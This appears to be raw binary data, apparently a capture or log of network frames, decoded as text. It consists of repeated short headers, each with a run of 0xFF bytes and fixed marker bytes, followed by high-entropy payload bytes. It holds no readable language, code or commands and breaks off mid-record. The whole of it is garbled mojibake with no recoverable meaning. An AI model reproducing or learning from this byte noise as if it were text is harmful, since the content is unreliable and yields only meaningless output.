VVBÿÿÿÿÿÿ¿2) T¡ L èïvÌØÓÏ!6è¸8pT00„î$"›;?WÝ  8`‹Ÿ‹¬ù²éuèñéLeÄ…ÛãDœUSûŸêîÒ’Ð6D6Fm Ô T¡ L6D6Fm VVBÿÿÿÿÿÿ¿2) T¡ L°è­Î† Y²¼±f¦–QÍûŽ@—UGú ·ˆûãß²t£.´‹Vv‘)¡j2Ÿ9H’ß Ô©Î?­F }W€±©µÖ6D6Fm Ô T¡ L6D6Fm VVBÿÿÿÿÿÿ¿2) T¡ LÀè,Œ):ÐNd|;¹d:PÆ|yè³Kù†û”b¿÷„v0íY “Cl¦þ³_oMYÏÂ]¾’ØLèƒ?î6D6Fk Ô T¡ L6D6Fm VVBÿÿÿÿÿÿ¿2) T¡ LÐèT†Ìu¡nÀ¥ Gƒû†\àFm¸ {AåÚèR)a7E*¿!!²-kk„ß_.rM?ýá_ÓmZöA6D6Fn& Ô T¡ L6D6Fn( VVBÿÿÿÿÿÿ¿2) T¡ LàèüÂùpiáàÛ„¦I1öÞìÀùdXWu…UFrßûñþ§Z!ŠË^(*=ù ¸ D#Ý×9RªËx±ŠGì6D6Fl2 Ô T¡ L6D6Fm4 VVBÿÿÿÿÿÿ¿2) T¡ Lðè Ô T¡ L6D6Fm@ VVBÿÿÿÿÿÿ¿2) T¡ LéixUF×u›;]ɼ;WöÖÍqóÌ-`^O/­Nƒ'Km^zðäU¹€ÝF¿µ:ŠÂ=òaèð6D6FkJ Ô T¡ L6D6FmJ VVBÿÿÿÿÿÿ¿2) T¡ Lé3 â ·©øÅ;VXÖÆfãäÏ“®B•òÓ¨7jÚ‚óóbS Î?Ž(~§ÇÊÄ$ýéôxì? ”¢M‰ìâ#¿ò²ê<‚Ìðèµ «yÁÑe™8aÃ0R§puHøæ6D6Fml Ô T¡ L6D6Fmn VVBÿÿÿÿÿÿ¿2) T¡ L@éOn&å?‘+ž ÇXäöim¦®ÛD|rn%d†â H˜ôâ ÷–¼[lÄ¢x:H×^Ý"Ïé¦rûÚ6D6Flv Ô T¡ L6D6Fmx VVBÿÿÿÿÿÿ¿2) T¡ LPéÖB¯þÛGKÇK[ÚŒŸõ¡G0Î6‘»Œ1G“Äÿ¨b#ä)‘\5ˆœÅýzùENWT8ÙlðTNzÀ¨Rm6D6Fm‚ Ô T¡ L6D6Fn„ VVBÿÿÿÿÿÿ¿2) T¡ L`é“|z<Ç®ÆÖ//Ÿ ohÄÿ?ä`™e÷ Ӓʰ.ª¤—])½Î‹û¦¾TâÚ>)˜Ý6D6FmŽ Ô T¡ L6D6Fn VVBÿÿÿÿÿÿ¿2) T¡ LpéÚ0H¦v9’ãMÉä®ÕÄgpU«N©Ø Ìá8÷й™Õ_—fTÑñþ=e@q]êÆãd/l´×ºæQá6D6Fnš Ô T¡ L6D6Fnš VVBÿÿÿÿÿÿ¿2) T¡ L€é‡„~*šBcH^ÔýÚÕ+ ý"fö8!.É×±ñïáòLÖ’<<ƒxhî,1Ó’µÛ» Ü—$_ýg,’™6D6Fn¤ Ô T¡ L6D6Fn¦ VVBÿÿÿÿÿÿ¿2) T¡ LéͼG×·¤9tÕþ6²Ÿ0 Y2û>ÄKÃWU]o¯§†¬5Šìß_W~|@ÛRª ÙŽ¥m¡_3ï6D6FmÞ Ô T¡ L6D6Fnà VVBÿÿÿÿÿÿ¿2) T¡ Làéõ2FÎRŸ‹Yý JwÄ_Ró§‚T™ŸñWÄA{¾ï‰£¸8}dLöñ”?ÓTFR¥Y)Qf‚b„‚{³~á¶z6D6Fkê Ô T¡ L6D6Fmê VVBÿÿÿÿÿÿ¿2) T¡ LêoBS5./Ó)·NV“l(*{KZõYNðdž ì>6Pi34ïžËžòÔ`qÅÞ;+ 5‡žK p26D6Fkô Ô T¡ L6D6Fnö VVBÿÿÿÿÿÿ¿2) T¡ Lê†>¨g€&„š £î©ê›¨¬‡ðxŸNŸ¯óšÔ“]½£ g ‰Ëp2YÁBóÃóráv¤6D6Fm Ô T¡ L6D6Fn VVBÿÿÿÿÿÿ¿2) T¡ L êÅ6¤~QŒo>Â| q }OˆØ †:ÞI„â­×é“k`$³6D6Fm  Ô T¡ L6D6Fo¢ VVBÿÿÿÿÿÿ¿2) T¡ LëAà5‚ªšâµäg£ÿ<•)FFw›”ª˜€BÂ~v€¾û9óŸ” ¤¹pØÆHzNKÁŸšc©$Þ"*ìú6D6Fm¬ Ô T¡ L6D6Fm® VVBÿÿÿÿÿÿ¿2) T¡ Lëê0kÌo„9Z:ßz²!i–é²òi¼=}ßlÿÜŽB‡Äy5PedÙ@i‘ie݇"àDÄc*,&sq“ö·)6D6Fm¸ Ô T¡ L6D6Fn¸ VVBÿÿÿÿÿÿ¿2) T¡ L ë‹L‰+x`H×N¤×N¢º}Ñ‹«‹‰™Äüˆ£É½*ÿtz»ñáÃtnsuº@l¶æ©j[ꇄ¤ô6D6FlÂ Ô T¡ L6D6FnÄ VVBÿÿÿÿÿÿ¿2) T¡ L0ëFtƒ¿—ÆMÇÜWf¶ÃDGÀ'D¨¦‹K©4®}%ÎóÏíü¬í)¾>ÑÝô ™™01úêÖzñb6D6FmÎ Ô T¡ L6D6FnÐ VVBÿÿÿÿÿÿ¿2) T¡ L@ëF¼µxIJ ñïw—.G4ð[4…˜Ø„Wóo6}~T|p©&Öj2s¯0˸@)øˆ“Ÿ“JE»{µj6D6FmÚ Ô T¡ L6D6FnÜ VVBÿÿÿÿÿÿ¿2) T¡ LPëjÈÒ::ÔæøZ4ä¿ãŸ»n[Pé¬î b*ñ‘¸ú¹‚rÍ«†»CH¸•’Ƴä=¬ÅXs%Ís[2æuº6D6Fmæ Ô T¡ L6D6Fnæ VVBÿÿÿÿÿÿ¿2) T¡ L`ë?t¢e™å‹æSÜLņZ;iÜÉÈZL¦ ÐI×§‡Ïg¨˜;Î Ú{¨® õyAèUÚ;£/‹‰6D6Fmð Ô T¡ L6D6Fnò VVBÿÿÿÿÿÿ¿2) T¡ Lpë¯èäåj„‘ëv.¬J8›èõ&” þòIË ˆw…äA_É×/ÿ+>3\e¤›ºq±s'‚ŠÛû“¡Óš;Ü6D6Flü Ô T¡ L6D6Fnþ VVBÿÿÿÿÿÿ¿2) T¡ L€ë^ÆÅUa%@1’ªñ?¬–·wv7K «ÙV—î“ïl_M8‹ŠeE]¢0úÖÕ©RuÚxˆïñÛ­b†¾/6D6Fn Ô T¡ L6D6Fn VVBÿÿÿÿÿÿ¿2) T¡ LëŸîœF ßס4£ÔKÓxŒ¼«¢K…×Àމ]/û¨Ø„{#ŽlÛ‚[¤v±+“@bj¿Ù·¼ó ßG=6D6Fl Ô T¡ L6D6FnVVBÿÿÿÿÿÿ¿2) T¡ L ëV¼['aÁdü@»åÎG: 010#¹<^$µjb¶ë^´ŒCÖ Jé…ª³ÖÊh9½rH÷õÁé+7±£6D6Fm Ô T¡ L6D6Fn VVBÿÿÿÿÿÿ¿2) T¡ L°ëû²q2¨)^&„%ê2ÕæëâÕ©7Ô›(BæÜœÅ'_Œè6Ñ£€1˜¡JüT¶i°[(é=-\Hã€öëY6D6Fm* Ô T¡ L6D6Fm,VVBÿÿÿÿÿÿ¿2) T¡ LÀë·JJ‰ðjƒ) ì=´ fXlÓw‰U“¬‹†Ö–2º%yþ~ —Ùáþ—ÖÀNåØnˆÿëãÅZ¤6D6Fm6 Ô T¡ L6D6Fn6VVBÿÿÿÿÿÿ¿2) T¡ LÐë²|Ç «mPÚúÆtF\Ë7O™;MWñ”‚EO´”:Ô²Â.Ó/Qv.¬*'5ô(ÆEU´qA=öp6D6Fn@ Ô T¡ L6D6FnBVVBÿÿÿÿÿÿ¿2) T¡ LàëD²üTà›*ZK¢d`=4¢kq’ ¿FB¿îˆiê \0¬ä¥3ø}»æ;BmèÇ„G¾ÀKÒeŠfËÒGr6D6FmL Ô T¡ L6D6FnNVVBÿÿÿÿÿÿ¿2) T¡ Lðëè¢:|ÍãiÁs{¶öú*Æã›x#Eܲ™ F¾;§ÐJþG íÂ&úÇœf;;)pž²È·öúcm±4f0½ce»Íýú6D6Fm¨ Ô T¡ L6D6FnªVVBÿÿÿÿÿÿ¿2) T¡ L€ì»jõ Ç ‚·ê³±ñkEKB åÏÄ·þ ’¸å äÍÀ±¤!j’Éêi^åj-6D6Fm< Ô T¡ L6D6Fn>VVBÿÿÿÿÿÿ¿2) T¡ LP틺H¬Z|ÈÕ#7šÁ7\qø’¹ ò–E-O»ñFó—fWë"$0ÃÐ%À¢¹ãÙò9”¢ÿ.‡hc/7D6Fm Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ L`í唇áÑÞZ¹„0D¼,IN­"¼Êå[½gçì›#½üA•Æ\ì2ú&.G‡3HDíýúFb£´™« ²•›K7D6Fm Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ LpíDkw<Òé•x Ý˜Š <߉/uv§~§>«8)?_m Cs¸S‚ɪœÈ©GhWkûî :&¸QŒl>áLrŸ7D6Fl Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ L€í2êðädÔËœ( x3ìV='·ócH/6ZEÙ+¹; ]YËcèÅMMÖ¤ßoC/ü: –$¯ª‚!åïÿ47D6Fl( Ô T¡ L7D6Fn*VVBÿÿÿÿÿÿ¿2) T¡ LíGHA›úUUåµj7‚sÿæ‹XW˜/5z]êÐ"‹`÷[JK40×s¤WU:6CeÆ1¼OÎöî½.¤ãZ²–ø7D6Fm4 Ô T¡ L7D6Fm4VVBÿÿÿÿÿÿ¿2) T¡ L íš2ʲlô©f‡.äøÄÁ+ É{¶%Š¢5šd˜ÓzÆoïFYT*¬ÿÌ$^‚|öη©°ÏÏpš›J]7D6Fm> Ô T¡ L7D6Fn@VVBÿÿÿÿÿÿ¿2) T¡ L°íº ‘~¾€Ë04ÝJËþŒ‡'f­•§Í°ÌïoTÊ¿Ží¡˜S ×<„ÛÅk|ùÕ ÖblQ¦o¢¨Ê< 7D6FlL Ô T¡ L7D6FnNVVBÿÿÿÿÿÿ¿2) T¡ LÀí¶„Â*Þ™ºD¿iÐÁAˆLçz:xR™º²-üò˜‡«KÒ«ûMr3Π‡`u£€ª'у3—Ò.k¨åè7D6FlV Ô T¡ L7D6FnXVVBÿÿÿÿÿÿ¿2) T¡ LÐíh†„qÉ9† 1Y.O&ú¹.ò`w¾+ýÂöªM€¾ktq>ÄT~¤I´WB*dõÂNó]Sx ‘à‹ÙH 7D6Fmb Ô T¡ L7D6FnbVVBÿÿÿÿÿÿ¿2) T¡ Làí+hÐ_ò×b<ãÊ@Œ@•KxŠ!›éYœ5ö<ö1gU±;ì<ÍSÁžÃA‘Á{@„ÂMŸéï ¿7D6Fml Ô T¡ L7D6FnnVVBÿÿÿÿÿÿ¿2) T¡ LðípäA“ž®É2æoÒ}Ü>p#Y…ÍÌ$VK7"Ê`fhš*Ü÷H!Š÷äëÁiÊõÕ:;ßúí‹&’òÉ@”7D6Flx Ô T¡ L7D6FnzVVBÿÿÿÿÿÿ¿2) T¡ Lî"ÜnÃñßÇó· ]Gã|È‹¾, Èè É›xxjæ¼å"›ÝÿÙïW]íMœã×6!Ϫo1>öße7D6Fm„ Ô T¡ L7D6Fn†VVBÿÿÿÿÿÿ¿2) T¡ Lîlb¨z¶âÆ·è%ngBc_‘¤gfÝ鯙£Lµ´õ—OÄÙ&÷’·Xç>è¥gG‚H"‚Ç_3ù&{q#¼…7D6FlŽ Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ L îÌ´¹0\gG1YP-cÍ¿ô˜+ºÍ´R$†¬ÃV²™„²Q @5´FfSKíag¦†6xÄ’Ë–Òèj7D6Fmš Ô T¡ L7D6FnœVVBÿÿÿÿÿÿ¿2) T¡ L0îêbàXÀ YH÷bƒ­R s”˜÷í=˜°@={÷?$CKÄ ì=ŒKf¶^Åh ,ky˱¾ä±º" á7D6Fk¦ Ô T¡ L7D6Fn¨VVBÿÿÿÿÿÿ¿2) T¡ L@îÝrÜV-v:Úˆ€iðL@¼ÅÏ,™>ðOQ=–-tRsU)?*=¸¢E¸xA!ÔÃßv§Œ#{ÒL7D6Fn² Ô T¡ L7D6Fm²VVBÿÿÿÿÿÿ¿2) T¡ LPîK<èÇx–â+ Õ -ـ­:뼦¾Jå·…ã§'îyÚhg¢šØ»EÒéf Öî8ÿw.Í—ÂÈ7D6Fl¼ Ô T¡ L7D6Fn¾VVBÿÿÿÿÿÿ¿2) T¡ L`îÀ¨.£AΘ‰ˆÕÊ'•V~ÑÌ5÷g2t+Ø‹¹ˆd:ËÉIÓv§Ž¯,Û°tœ&iƒ„” ”«"–ºy7D6FlÈ Ô T¡ L7D6FmÊVVBÿÿÿÿÿÿ¿2) T¡ L€î¤ö_ˆ~xèU‰àËþQ;oE’ ~,ë]Rx3Š$úÌÖ™´¼k´%@èå_õø!0¾gÎ2¶‹¡,ò±7D6FlÔ Ô T¡ L7D6FnÖVVBÿÿÿÿÿÿ¿2) T¡ Lî®(HI€5óW(ô<55N­}¼7¿~ø[È(ãÃk:×:nS°lÅ}Z: e{æ0–Þ‚-iwÂu[Z#ë¤nc“h5H‡O‰GÚÐU­87D6Fkê Ô T¡ L7D6FmìVVBÿÿÿÿÿÿ¿2) T¡ L°î½÷›¨ë†¬%³rÂÖtÒ–õ”ñí>þ!8Ö”¹› )Í{+ ®éÙФßr›`„x”ÿ_Dð7¼Í7D6Flö Ô T¡ L7D6FnøVVBÿÿÿÿÿÿ¿2) T¡ LÀîŸâÚŒ9¦Û²ßX¥IDà#íû²e·É 6|“ÕU„³±¥}5Û°×R›D.‹¨\^º¡ß¥Eͳ¢é‰'Þ[a7D6Fn Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ LÐîph‘[&Øh*—ßêÝQÜé<<6ì1ˆŠ™ÓŒ¥_Ïcš°Á¨EƒÒ ˆk ä½YÊÔyÀ¹sº M#f§W7D6Fl  Ô T¡ L7D6FmVVBÿÿÿÿÿÿ¿2) T¡ Làî× šÜ_I¤v)¸ó¸¬J"Ê1PÍ9p„GSðìûr©ÀPW›˜47y¥0?‚ m.Köj‡Ó².07D6Fl Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ LðîÁ´*w_ºÔÔÃoÝÁP®›QbƒUñ»/ãò¡×¹óÿÌgÆ”‰‰dT§Úá¿‚2(c¡Tå]þóÙ ó`7D6Fl$ Ô T¡ L7D6Fm&VVBÿÿÿÿÿÿ¿2) T¡ Lïz/d~1¤—f¿†g.Z<Ïm­Kÿ2Ô˜]V£™þQ Õê§ß¡&Ö;EFÐ:¾…®vÞ àýË瀗¨ÏÀb8΋ µ©x ×U›0û“ŽÛ*9Wç¼msØÒâkÍ­7D6FmF Ô T¡ L7D6FnHVVBÿÿÿÿÿÿ¿2) T¡ L0ï‹v|•%!ÿA±Q *5™àÞݳøˆL(møP}òFA“´_®!¸.ŠŠ(ÆÁÛÈZ‰Öô€ nnÌ7D6FkR Ô T¡ L7D6FnTVVBÿÿÿÿÿÿ¿2) T¡ L@ï¹ìXˆßR*I?fzÁnÐéè¿ŸÖÆ×W6žõè¨ÿ3Á¥þ°¹úH‡vxUzÿù‡Ù¿„]~O]ËÇ·eh½7D6Fm\ Ô T¡ L7D6Fm^VVBÿÿÿÿÿÿ¿2) T¡ LPïGn«^ÂBžÛ%QØ–ò[îÐôüËŸ<‡ñZ4ocušh÷º›Ì·@‡PSÖÀ¥ÁŠ&o1(Eð¹c4‹7D6Fmh Ô T¡ L7D6FmjVVBÿÿÿÿÿÿ¿2) T¡ L`ï§Z«›[N›øp£e6埥`O) sN’ЉE³Ãˆú”¶Œ«P²<ß‘ÅdÓ(øu¾­ä7D6Fmt Ô T¡ L7D6FmvVVBÿÿÿÿÿÿ¿2) T¡ LpòÙ,¹ÊLÕ˧1ë*¦Í› ‰ÄãÑÔS[¡I;n‹+»éÀZƤÖ.€²frItÜ}>déëøfy7D6Fm€ Ô T¡ L7D6Fn€VVBÿÿÿÿÿÿ¿2) T¡ L€ïLVpT¹Ô`Ijyó<˜x§RV`UÊÕ|IÌ[D< ðëKèl ºØ‹ü››²>›-¡TÚñØgÈGQ7D6FlŠ Ô T¡ L7D6FnŒVVBÿÿÿÿÿÿ¿2) T¡ LïT(ƒ.˜ k3¯{{šH]úéào}3øËÓ®%¦¡‚yßVÈ­0¼ü ¨Ü{p×$q\ºãE§NüàY4$fºèÔÝc•7D6Fl¢ Ô T¡ L7D6Fm¤VVBÿÿÿÿÿÿ¿2) T¡ L°ït4?Û!üð…( ÑkƤ9Ì@ØLÖå‘í¦ÜgÔ>ÿµCØ1æZÀC3qüc{.×DðÝ~;^7D6Fm¬ Ô T¡ L7D6Fm®VVBÿÿÿÿÿÿ¿2) T¡ LÀïéŽË©M†›Yàµæ¿ªUì“_la2Z!.¿d°Å£Ž~%{lä=>1Û4ÓlHøé³" @(MÛ@V9é©ý–7D6Fl¸ Ô T¡ L7D6FnºVVBÿÿÿÿÿÿ¿2) T¡ LÐïˆ,4øcæÑS—:6¸ â)Ãù,¸žÖ-­;fà\ûW¿Ͱò!µ òqÛ=ýÙlûF|Q—‚-17D6FlÄ Ô T¡ L7D6FmÆVVBÿÿÿÿÿÿ¿2) T¡ LàïŠZG”'ä¹4¢|ݹÀÒ«¬Þ¼£v…—Ÿ‡ô}a5ÖWâA#ݧG˜²#íú`ÈÍfxw÷‡)ÙÃ7D6FmÐ Ô T¡ L7D6FlÐVVBÿÿÿÿÿÿ¿2) T¡ Lðï<Īºˆ¹ ½›¹Tï¶,UY_å¬/G ì&‹)®uÿ†&ŒjB TÛ‹\Éí í1,ðÔa‘Ô@ÄòÔ¯zëe—7D6FnÚ Ô T¡ L7D6FmÜVVBÿÿÿÿÿÿ¿2) T¡ LðÔ(ݲr×Ãû:§Ê*”Uõ}¯HŒÀèy§óZªTŒjµ§ÿ—ž ˆj’NõK¤™0 w5æÜ)㮾Š7D6Flæ Ô T¡ L7D6FmèVVBÿÿÿÿÿÿ¿2) T¡ Lð~$B^UFÉLGÛšI°Ó7]ôW‘D˜sìÊ{e>w[Ü"Ž„?)çnÕ"H…KÜyZ‚ãâÜ·ò›7D6Fmò Ô T¡ L7D6FmôVVBÿÿÿÿÿÿ¿2) T¡ L ðÏî~ z²¢~½ZðóÚ Üíöq¹²D#¼†"ƒ<;ÆÞJÝ!ˆñB£:¥ÏÈQA=òis&ò,OP °—\[x7D6Flþ Ô T¡ L7D6FnþVVBÿÿÿÿÿÿ¿2) T¡ L0ð{Œ˜ö96 0ã´‰s)žYP½Pàž=¢úÿ³À¨=]“ê"Òmi¼Iï°ê²ÌŽw±C°äÛ¬sêâaFÈ7D6Fm Ô T¡ L7D6Fn VVBÿÿÿÿÿÿ¿2) T¡ L@ð³hªÀJá8p»¦’.íØÝ¡?QZ9ñ@·Žñ·>ßÊÂ¥Øð/Exß!ß,ݪÊüiÂÔq±¦ˆóèh/@º€7D6Fm Ô T¡ L7D6FmVVBÿÿÿÿÿÿ¿2) T¡ LPð5ºaPkû³•}RË¥ñ¾¹…ánž$§yi~€B7D6Flz Ô T¡ L7D6Fn|VVBÿÿÿÿÿÿ¿2) T¡ Lððg OX¨lÆòù¢ä'fîûç`¨ôâêàKPfˆ,3ú„a?¦ä7?'œh^à@‹¦¼æÞ6×zý€ÄÐ|A7D6Fl† Ô T¡ L7D6FnˆVVBÿÿÿÿÿÿ¿2) T¡ LñZl‹ÇÆž…• *´F– ‰%œ;;tDÌf8]뢮ÛC%ôÆ O›Ë“µƒúÅ-‹Ðœhùàƒö¼­D;;7D6Fl’ Ô T¡ L7D6Fn”VVBÿÿÿÿÿÿ¿2) T¡ LñìklAz(ÿÿåˆÊ¹__8•¹hKÐü—4¾øWνíäî™zvq·08µ•7ÈF«ØcÏ9®.lâ7D6Fmž Ô T¡ L7D6FnžVVBÿÿÿÿÿÿ¿2) T¡ L ñZªl&"£…*“ë14R\¶Ôw²òcôü´IÅ è~vÞ¸D콆î§ö%ãáýÒýjB"¢nA08ê|¥7D6Fl¨ Ô T¡ L7D6FnªVVBÿÿÿÿÿÿ¿2) T¡ L0ñÜf´=Q-/tÚ`’)þ»q¹m'rJ•Û|g‡^ø0õq  Ü´zv”åâ¬C‚ô²eF3(7D6Fn´ Ô T¡ L7D6Fn¶VVBÿÿÿÿÿÿ¿2) T¡ L@ñ&Äž ¯Jƒº¡ö¥%ÊߣS~Úâù‚É>ë™ÿñ>(Û†2ç­ýd§<Ÿa=䜓17-ªï7D6FlÀ Ô T¡ L7D6FnÂVVBÿÿÿÿÿÿ¿2) T¡ LPñDfJ§½ß d†kDè̱ÒþBH÷÷ªpû°ý$Ÿ)®›hU²JGfOŸPÍÐðöCköb$RQšêˤà°7D6FmÌ Ô T¡ L7D6FnÌVVBÿÿÿÿÿÿ¿2) T¡ L`ñhþ*)Í Ä§­öô~Á¬*m\Ä¥ñ‹(ÜñT))e~ZüðöR«Ó Ò°¦]´ÇKŸ¾‹ÂAÙ–’d7D6FmØ Ô T¡ L7D6FnØVVBÿÿÿÿÿÿ¿2) T¡ Lpñ¥ÞëæB|¸µAî_52mØm=ŒýnðôHx4|ŽIÕ^<í3·VÐî8†ß#}|#ñÑ^—F`º7D6Fmâ Ô T¡ L7D6FnäVVBÿÿÿÿÿÿ¿2) T¡ L€ñÝÖˆEÓA£däoH¥Q±–5Þ©Ù)^02ã…Ûvld#J| Ú9À¿²˜¿Üò&’¢*,áP‘£lpPœá7D6Fnî Ô T¡ L7D6FnðVVBÿÿÿÿÿÿ¿2) T¡ Lñƒé½kë>1¦2\îš9 ì ˆõôq¹ò:öãž ”¹ž™À[»iÙŸá¿w1¼‡†ušŸù¢Ye¨ïÐzh&ï7D6Flø Ô T¡ L7D6FnúVVBÿÿÿÿÿÿ¿2) T¡ L ñO”œˆè ïƒ#]¨ ðûb(šÈuòD­ß"²[ ›—ž"F¬€_°NÃê)@Ï­²³ÎGJ|7V»Ô7D6Fm Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ L°ñ¢Øƒùžs~ü-1 `sîj7´VI™q v„C§RWâC.I6r)­:_[ÞY>+—Í‹#;*ø7=ì™Ü7D6Fm Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ LÀñ0fØ&Þ7Õ/¼C›|}!Ëk2}—C(ˆÁ™åXéËÕ¶ú)têל:0L³Âû«8k‰¯nuœ™«.Çêž7D6Fm Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ LÐñé˜u—KSö¾Üûk½`á™Ý*]Þ7ÅWA­YbÒÙ Ÿ:7"¯ooþ¬ðŠpų¶_Ôû¨ÙR±7D6Fm& Ô T¡ L7D6Fo(VVBÿÿÿÿÿÿ¿2) T¡ Làñ@. ¬ESˆ¡FçÈ‹Y=7{¦×m"ãH¯5wì }BydýÌD×P(ÓçÛ3,Ý…Ñådš[/¤šg7D6Fm2 Ô T¡ L7D6Fn4VVBÿÿÿÿÿÿ¿2) T¡ Lðñ«ÂÏY°+Â`×ô¯‘d±uË .iÄÿý¿+Öåì´ÐJ+Ï_å>cÂwdEú›E”´»cµþª7D6Fn> Ô T¡ L7D6Fn@VVBÿÿÿÿÿÿ¿2) T¡ Lò;ÐãAò`†œÌ±ä!æxFVöˆ«@h>Ýã!_Qçè"NÎztÝ¥$n)¯ Cáa·¼¿b7D6FmH Ô T¡ L7D6FnJVVBÿÿÿÿÿÿ¿2) T¡ Lò“Š]0–Ë%ð¬¶C¿bDjD«™Å›EšÞÚP©¤ w¸‘®çÄc\ 2làL(fý÷à ¢ÿEZ7D6FmT Ô T¡ L7D6FnVVVBÿÿÿÿÿÿ¿2) T¡ L òÙð„WWº¹ÿI§Ÿ+t7®=È3÷°6ãéñÆQJ"BmÝFé`·<àÍÇBŒ¥ˆYÆ¥AèMBÉ#L7D6Fn` Ô T¡ L7D6FnbVVBÿÿÿÿÿÿ¿2) T¡ L0òšš›àLàUÆ1†³OW2HRœ_,«Ù“ÑN5¸=Z…;\(ˆ§ÞMßÄ€;%‰]íË8¿CÌð< ”àÒN€7D6Fml Ô T¡ L7D6FnnVVBÿÿÿÿÿÿ¿2) T¡ L@òÔ⢡å¬{þ*¼ŸÙeÌ8CžìÓ'Áí¸¯¶ÙÒ°ÔE‰Ô9v‹u‹TоÏOïCÄÇ>Æy—FhS0ÿ7D6Fnv Ô T¡ L7D6FmxVVBÿÿÿÿÿÿ¿2) T¡ LPòib‚¤8ÙùX Â}( Ò¹~øtà¹[M*&–gè“IîíÚti › ±Ãs»?jã>™Qáß$"–,Ê„7D6Fl‚ Ô T¡ L7D6Fn„VVBÿÿÿÿÿÿ¿2) T¡ L`ò' ­ÿ"ƒO¤¢ÑÇV ßûà×ä´ è‚˜{7öž“k§uʆ²ô"~ŸÐ¼/ßE¥5¤®lȘ7D6FmŽ Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ Lpò˜¦IM Ï~Eˆ¢ ݉‚È™Ò`Ë¡ø¦¹ò]bp†ý Eä@ê"d&YÁ ò¯¦Ìs=òPéI/—w37D6Fnš Ô T¡ L7D6FnšVVBÿÿÿÿÿÿ¿2) T¡ L€òô¬T<ÛíºO†·lò·àÈa±{•L?îÙÎ4†Ûé; ζ¿FH’:Áic€°È|¿ÀçvçW›ˆáØm7D6Fl¤ Ô T¡ L7D6Fn¦VVBÿÿÿÿÿÿ¿2) T¡ Lòý&å–lŠF~^à~ùvïo‡&mqmÇú¸&*$‰wNFŒÇ|ÔZUy_×.ý°z ?I6°kJš‹7D6Fl° Ô T¡ L7D6Fo²VVBÿÿÿÿÿÿ¿2) T¡ L ò¸â„&1Ö¶+¤'¨H ]Ï¡¾ñ”J”g…ò€¥.3BR„önƾ£ül]üŠnf%³"UÇçÈÔ!€d\7D6Fm¼ Ô T¡ L7D6Fn¾VVBÿÿÿÿÿÿ¿2) T¡ L°ò©47òH2¬NPÊÓî…v-’2Î%!u–Œ)Q9nIpmT¤«u°Ž'æôÓ¥H¡ÖB´®™ùœ ±7D6FmÆ Ô T¡ L7D6FnÈVVBÿÿÿÿÿÿ¿2) T¡ LÀò=Èe>çMhbæ‹ïWID2‘+^õÝZœ CXUŠ õøõžßYѺ¥(þY÷hhKqË3YÍ¡—ia7D6FmÒ Ô T¡ L7D6FnÔVVBÿÿÿÿÿÿ¿2) T¡ LÐòGækíŒñäGúp9ß¹ç„vtRYÞ­-ËÃuQTgÌ)2y2`+®“:›¾£v*®·VÉ$×ü¢^åæ7D6FmÞ Ô T¡ L7D6FnàVVBÿÿÿÿÿÿ¿2) T¡ Làò[f>Mz¤(Ó±sUÐ&œ‰2ò·“K´§ÿm%æ³ ;‡–ѵŸV¨XUç‡Ù2TÖŽ|í$Løz¨dF%7D6Fmê Ô T¡ L7D6FoêVVBÿÿÿÿÿÿ¿2) T¡ Ló¥ô*JŠŒ•kšTW_‡8‰\0íf¤nß‚¥e°ò¹¯`Ö‚ý¼`–m¸<ü¼+ˆ’ÙµÜzÝP‘ÞÑ£Õ7D6Flô Ô T¡ L7D6FnöVVBÿÿÿÿÿÿ¿2) T¡ Lós&Ì :n•±¹t Mº²ð¼m²Nl}£ª âØZÖ¤¢Ãh«NûO«-ßà嶈Ñsso`` ͆7D6Fm Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ L óR¶çwßmVHnqaBš“;<‹ƒ÷½mѪÀÉk´;”ÿ'k€è·Q˜…÷{)O´=±Î?°™$K¬7D6Fm  Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ L0óOzïÓ8æ[ ¥›Ýº‹Nâ.ÒËR‚û ~÷^‰C°ðË¡8Éî$ë쨨?x÷' (Lñ艀í®ŒP7D6Fm Ô T¡ L7D6FnVVBÿÿÿÿÿÿ¿2) T¡ L@óƒLd”æK1¸›nûÜÇ€7Ì ÀÚüöÙDïâÇà¿QW/‹Dít‘î`òI=mLÿz»Yë7D6Fl" Ô T¡ L7D6Fo&VVBÿÿÿÿÿÿ¿2) T¡ LPój*wòÇ5ÙÆCÏOƒŒÁ2€ÂŒNΖù•~Ö2µ¶Ç£Ðäöú?ý¤1$<ÊáµoÎSÃÃç÷ÂÅ[7D6Fm. Ô T¡ L7D6Fn0VVBÿÿÿÿÿÿ¿2) T¡ L`óf^ƒ‰“`”‘)Œç7NÑOU8ÎuLÓÓ¦rÙ’çjÜI?­uDÜÙeÌØè«N6èfpγÄ´¥ŸÐ7D6Fl: Ô T¡ L7D6Fn:VVBÿÿÿÿÿÿ¿2) T¡ Lpó•êEÞiÄ{Âj4#Qe¤ߎ3`2gGÔœ·¸±ÞWĽÎKñ ¡‰ ä²ǹŽÛiìF‡MäŠuå_7D6FmD Ô T¡ L7D6FnFVVBÿÿÿÿÿÿ¿2) T¡ L€ó–á9]ò/ç˜wš1Ì9j³ƒ¶ Œ_g8Jí]‡óüA·ù^ÐÕkwQ4”žµÛ±¾Å³Ú;Rt jWÊ7D6FmR Ô T¡ L7D6FnTVVBÿÿÿÿÿÿ¿2) T¡ LóRH-«2ݦì…õÑ/n£^,£Ë¤,n[Á!°¯ëŽFÚ „Ö…vyB®öl¿%èOu‰@iöÚ=‘´¼7D6Fl\ Ô T¡ L7D6Fn^VVBÿÿÿÿÿÿ¿2) T¡ L ó-Àµ˜È°NeÄŠxåÄe3ä·á: M$#RÏ’ÖŸ£å9ˆ%ëR½eÞçÞ[½‡‘û[ÓhIºÐr7D6Fnh Ô T¡ L7D6FnhVVBÿÿÿÿÿÿ¿2) T¡ L°ó)P‡“’ÜÀ-B i¥5„É‹`µ€¯ËeòZ¾$.&{¬R²ýP·§’Rneôè]‰ƒÇÀ‘¸!Ê#pê7D6Flr Ô T¡ 